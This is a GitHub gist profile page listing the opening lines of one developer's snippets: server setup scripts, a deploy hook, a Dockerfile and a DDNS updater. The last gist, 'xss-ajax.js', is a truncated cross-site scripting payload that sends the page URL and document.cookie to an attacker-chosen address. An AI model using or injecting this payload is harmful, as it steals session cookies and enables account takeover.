Skip to content

Instantly share code, notes, and snippets.

View ndunks's full-sized avatar
💭
I'm programer and I have wife 😄

Mochamad Arifin ndunks

💭
I'm programer and I have wife 😄
View GitHub Profile
@ndunks
ndunks / install-kimchi-ubuntu18.04.sh
Created May 12, 2018 18:35
Install kimchi on ubuntu 18.04 bionic
#For Indonesian server
#locale fix
sudo locale-gen id_ID.UTF-8
#change miror
sudo sed -i_old 's/archive.ubuntu.com/kambing.ui.ac.id/' /etc/apt/sources.list
sudo apt update
#INSTALL WOK
#build depencies
@ndunks
ndunks / histat-fast-load.html
Created May 13, 2018 06:44
Histat Code quick load
<!-- OLD CODE: -->
<!-- Histats.com START (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,3630122,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
@ndunks
ndunks / stats.php
Last active June 21, 2018 02:17
PHP-FPM status wrapper for each serverpilot web apps
<?php
/**
* Serverpilot PHP-FPM Status wrapper for all apps
* Install required package:
* $ sudo apt install libfcgi-bin
*
* Add .htaccess:
* RewriteRule ^php\-stats/ stats.php [NC,L]
*
* Place this script on 'default' web app.
@ndunks
ndunks / dnsmasq-dhcpserver.sh
Last active June 15, 2020 03:13
dnsmasq DHCP Server Example and logging
#!/bin/bash
if [ -z "$1" ]; then
IFACE=`ip l | grep ^2: | cut -d ' ' -f2`
# remove last ':'
IFACE=${IFACE::-1}
else
IFACE="$1"
fi
echo "Setup dnsmasq on $IFACE"
@ndunks
ndunks / how-to-mount-ubifs.sh
Last active November 17, 2020 12:18
an UbiFS Example, Nand_sim MTDBlock Ubi UbiFS playgrond and poc for Linux PC
#!/bin/bash
if [ ! -d files ]; then
# Make the content
echo "Generating root content.."
mkdir files
echo "$(date)" > files/date.txt
echo "Another content" > files/other.txt
fi
if [ ! -f ubinize.cfg ]; then
@ndunks
ndunks / mount-ubi-using-mtdram.sh
Created July 19, 2018 03:24
How to mount UBI image using mtdram kernel module on linux/debian
#!/bin/bash
if [ ! -d files ]; then
# Make the content
echo "Generating root content.."
mkdir files
echo "$(date)" > files/date.txt
echo "Another content" > files/other.txt
fi
#These config are based by Nand device that you will use!
@ndunks
ndunks / gitlab.php
Created October 16, 2018 08:50
Gitlab Hook auto deploy live web server
<?php
// CONFIG
// This token must sent with the request, for security
$TOKEN='XXXXXXXXXXX';
$LOCAL_GIT=realpath(dirname(__DIR__) . '/app.git');
$PRODUCTION_DIR=realpath(dirname(__DIR__) . '/public_html');
$REMOTE = 'origin';
$LOCAL_BRANCH = 'master';
@ndunks
ndunks / Dockerfile
Created October 18, 2018 07:13
Docker Image php 7.0 FPM with gmp mysql gd iconv
FROM php:7.0-fpm-stretch
RUN apt-get update && apt-get install -q -y ssmtp mailutils
RUN apt-get update && apt-get install -y \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libgmp-dev \
&& docker-php-ext-install -j$(nproc) iconv \
@ndunks
ndunks / cloudflare-ddns-update.sh
Created December 17, 2018 14:23
Cloudflare Update DNS IP with bash
#!/bin/bash
ip=$(curl -s https://api.ipify.org/)
echo "DDNS-UPDATE: Public IP is: $ip, Updating IP..."
host=home.klampok.id
curl -X PUT "https://api.cloudflare.com/client/v4/zones/00000000000000000000/dns_records/00000000000000000000000" \
-H "X-Auth-Email: *******@gmail.com" \
-H "X-Auth-Key: *******" \
-H "Content-Type: application/json" \
--data '{"type":"A","name":"home.klampok.id","content":"'"$ip"'","ttl":120,"proxied":false}' )
@ndunks
ndunks / xss-ajax.js
Created January 29, 2019 03:23
XSS AJAX 3 Way
(function(w,d,u){
if(w['$'] && w['$'].post){
$.post(u,{u: d.location.href, c: d.cookie});
}else{
var fu = [u,'\x3f','u=',escape(d.location.href),'&c=',escape(d.cookie)].join('');
console.log('FU: ', fu);
function planB(){
el = d.createElement('img');
el.onerror = el.onload = function(){ el.remove() }
el.src=fu; d.body.append(el);